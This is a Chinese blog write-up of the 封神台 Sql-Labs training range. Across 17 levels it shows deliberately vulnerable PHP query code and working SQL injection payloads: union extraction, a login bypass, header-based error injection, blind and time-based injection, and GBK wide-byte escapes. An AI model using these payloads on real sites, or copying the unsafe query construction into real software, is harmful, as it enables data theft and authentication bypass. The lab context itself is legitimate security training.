【封神台】Sql-Labs wp

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前言

pass-01

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$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 显错注入、先判断多少个字段

image-20210725131955354

image-20210725132104676

  • 查表拓展： 1 and exists(select * from user)这种形式可以猜解表是否存在
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http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

image-20210725132232796

  • 查flag表中字段
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http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(column_name) from f.columns where table_schema=database() and table_name=0x6572726f725f666c6167; 
//0x6572726f725f666c6167是error_flag的十六进制

image-20210725132608204

  • 拿flag //后面就不截图了
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http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,flag from error_flag;

image-20210725132743133

pass-02

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$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 给id传参加了个单引号，和上题一样的做法差不多，就是1后面加个’来闭合源代码中的单引号，再加个#号url编码也就是%23注释掉后面的单引号，也就可以联合查询了
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http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1' union all select 1,2,flag from error_flag %23;

image-20210725133156333

pass-03

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sername = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='(\''.$id.'\')';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 上题id是’id’这题是加了个括号(‘id’)，不过意思不变，同样是进行构造’)在1后面然后利用注释符#来绕过也就是%23
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http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1') union all select 1,2,flag from error_flag %23;

image-20210725134152613

pass-04

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$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id=("'.$id.'")';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 单引号变双引号
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http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1") union all select 1,2,flag from error_flag %23;

image-20210725134258334

pass-05

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$username = $_POST['username'];
$password = $_POST['password'];
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
mysqli_select_db($conn,'******'); //不想告诉你们库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];

if($row){
echo '成功登录Your Login name:'.$uname.'Your Password:'.$passwd.'';}
else{echo '账号密码错误';}
  • 先用万能密码登陆，获取账号和密码，然后再post注入，利用联合查询生成其他的账号和密码使回显成功，最后用limit 1,1 显示第二行也就是我们联合查询加入进去的账号和密码，然后再注入和上面四题没区别
  • 万能密码登陆

image-20210725141449607

  • 用Hackbard的post注入，找到回显点
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username=admin&password=as4dsa2dsad2a3'  union all select 1,2,3 limit 1,1#

image-20210725141606362

  • 表
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username=admin&password=as4dsa2dsad2a3'  union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1#

image-20210725141943040

  • 字段
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username=admin&password=as4dsa2dsad2a3'  union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1#

image-20210725142047502

  • 拿flag
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username=admin&password=as4dsa2dsad2a3'  union all select 1,2,flag from flag limit 1,1#

image-20210725142133255

pass-06

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$username = $_POST['username'];
$password = $_POST['password'];
$sql = 'select *from user where username =("'.$username.'") and password=("'.$password.'")';
mysqli_select_db($conn,'******'); //不想告诉你们库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];

if($row){
echo '成功登录Your Login name:'.$uname.'Your Password:'.$passwd.'';}
else{echo '账号密码错误';}
  • 双引号后面加个括号
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username=admin&password=as4dsa2dsad2a3")  union all select 1,2,flag from flag limit 1,1#

image-20210725142450880

pass-07

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$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性，禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
  • 过滤了单引号，万能密码登陆没用了，看到user_agent的head头中被安插在插入语句中，可以直接sqlmap跑*加包，或者第二种方法用burp跑出密码登陆，再UA中填updatexml来报错直接页面上显示uA中语句错误，第一种方法无脑，就不做了
  • 账号和密码是admin和123456，看源码得知，必须登陆才能执行user-agent下面的语句，$row必须不为空，所以想要报错注入，就必须能登陆成功
  • 登陆成功抓个包

image-20210725150453588

  • 拼接一个完整的insert 并且在其中写一个updatexml报错注入
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'or updatexml(1,concat(0x7e,user()),1),1)#

image-20210725152021021

  • 取表
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'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1)#

image-20210725152142821

  • 取字段和flag
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'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_head')),1),1)#

image-20210725152328201

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'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

image-20210725152450350

pass-08

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$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_REFERER'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性，禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO refer (`refer`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
  • 就是head头中user-agent的插入换成了refer
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Referer: 'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

image-20210725153252352

pass-09

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function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性，禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
  • head头中记录我们访问ip的是X-FORWARDED-FOR，因为head头中有时是不显示的，我们自己加一个
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X-FORWARDED-FOR: 'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

image-20210725153701899

pass-10

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$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
if($news!== ''){
echo '有数据';}

  • length函数：

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    length(字符串内容)

    这个函数主要是用来测试字符串长度用，在盲注中是用来判断当前查询的字符串长度，例如数据库名，表名的长度。

    substr函数：

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    SUBSTR(字符串内容,从哪截取,截取多长)

    用于分割字符串，将字符串分割成单个，配合ASCII码测试单个字符到底是什么字符。

    ascii函数：

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    ascii(填入字符)

    返回字符的ascii码，将字符转变为数字，将字符都转变为数字，可利用数字大小趋向的特性进行大小比较，从而迅速判断出准确的字符内容。

  • 先用length判断数据库名

image-20210725154941303

image-20210725154916227

  • 再用substr从第一个字符的ascii码开始判断他为什么

image-20210725155127027

image-20210725155232219

  • 我拿起手中的burp来跑起，12字符快

image-20210725155429654

image-20210725155447310

image-20210725155619456

image-20210725160053468

  • 按从1到12的顺序把ascii码写下来准备解码
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107 97 110 119 111 108 111 110 103 120 105 97
  • 了解原理就好了，菜B的我还是sqlmap好用，暂时python脚本还不太会写

image-20210725161831345

pass-11

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$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id="'.$id.'"';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
if($news!== ''){
echo '有数据';}
  • 原理和上题一模一样就是需要加个单引号和末尾加个注释符%23也就是#

pass-12

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$username = $_POST['username'];
$password = $_POST['password'];
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
mysqli_select_db($conn,'******'); //不想告诉你们库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];

if($row){
echo '成功登录';}
else{echo '账号密码错误';}
  • 换了个传参方式，但是原理不变

image-20210725162937391

pass-13

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$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id="'.$id.'"';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
echo '有数据';
  • 时间盲注的判断方式也是布尔盲注的一种

image-20210725163438518

  • (1)、if(条件，满足条件的返回，不满足田间的返回)

    (2)、sleep(X)：休眠X秒

  • 判断数据库的长度

image-20210725170042202

  • 判断数据库的值用substr和ascii
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1" and if(ascii(substr(database(),1,1))>1,sleep(1),1)%23

image-20210725170337323

  • 抓包，然后和布尔盲注是一样的操作，理解原理就行

pass-14

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$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id=(\''.$id.'\')';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$news = $row['news'];
}
echo '有数据';
  • 和上题一模一样，除了”双引号换成’)
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http://inject2.lab.aqlab.cn:81/Pass-14/index.php?id=1') and if(ascii(substr(database(),1,1))>1,sleep(5),1)%23

pass-15

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$username = '';
$password = '';
@$id = addslashes($_GET['id']);
@$sql = 'select *from user where id=\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
mysqli_query($conn,"SET NAMES gbk");
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 可以发现有addslashes函数导致我们输入的一些单双引号前面加了个右斜线\，由于右斜线的url编码是%5c，%df%5c会组成一个特殊汉字来进行逃逸，
  • 因为GBK编码默认两个字符为一个汉字, 我们可以通过输入宽字符%df使反斜杠和这个%df形成一个汉字,这样后面的单引号就不会被转义而达到逃逸的效果

image-20210725171608951

  • 输入%df逃逸斜线

image-20210725171818342

  • 接着判断字段长度、等拿flag和第一题一样
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http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df' union all select 1,2,3%23

image-20210725171952143

pass-16

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$username = '';
$password = '';
@$id = addslashes($_GET['id']);
@$sql = 'select *from user where id=("'.$id.'")';
mysqli_select_db($conn,'****');// 不想让你们知道库名
mysqli_query($conn,"SET NAMES gbk");
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 和上题区别不大，就是加了“)的形式
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http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1%df") union all select 1,2,3%23

pass-17

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$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = 'select *from user where username =(\''.$username.'\') and password=(\''.$password.'\')';
mysqli_select_db($conn,'******'); //不想告诉你们库名
mysqli_query($conn,"SET NAMES gbk");
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
if($row){
echo '成功登录';}
else{echo '账号密码错误';}
  • 这题是个盲注，但是我还是说一下，post传参由于没有url解码，所以宽字节注入得换个参数，比如“汉”这个字和右下划线组成一个汉字也是可以逃逸的。
  • 成功逃逸

image-20210725172842136

  • 因为是盲注所以嘿嘿，抓包，存123.txt，注意：一定要抓我们自己成功构造登陆的形式加*来让sqlmap跑，不然可能跑不出来

image-20210725173245278

  • sqlmap跑的形式

image-20210725173306539

image-20210725173317389

image-20210725174439030

我的个人博客

孤桜懶契：http://gylq.gitee.io

本文标题:【封神台】Sql-Labs wp

文章作者:孤桜懶契

发布时间:2021年07月25日 - 13:14:05

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/91.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

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